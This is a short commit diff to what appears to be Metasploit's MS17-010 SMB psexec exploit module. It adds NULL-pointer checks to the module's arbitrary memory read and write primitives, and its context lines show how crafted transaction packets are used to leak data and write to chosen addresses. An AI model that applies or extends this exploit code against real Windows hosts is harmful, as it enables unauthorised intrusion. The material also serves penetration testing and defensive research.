NULL pointer checks on read/write primitives

Author: zerosum0x0

lib/msf/core/exploit/smb/client/psexec_ms17_010.rb

@@ -164,6 +164,10 @@ def modify_token()
   end
 
   def write_what_where(what, where)
+    if where == 0
+      raise MS17_010_Error, 'Attempted to write to a NULL pointer!'
+    end
+
     # modify trans2.InData on trans1 mid
     pkt = create_nt_trans_secondary_packet(mid: @ctx['trans1_mid'],
                                           data: [where].pack(@ctx['PTR_FMT']),
@@ -178,6 +182,10 @@ def write_what_where(what, where)
   end
 
   def read_data(read_addr, read_size)
+    if read_addr == 0
+      raise MS17_010_Error, 'Attempted to read from a NULL pointer!'      
+    end
+
     fmt = @ctx['PTR_FMT']
     # modify trans2.OutParameter to leak next transaction and trans2.OutData to leak real data
     # modify trans2.*ParameterCount and trans2.*DataCount to limit data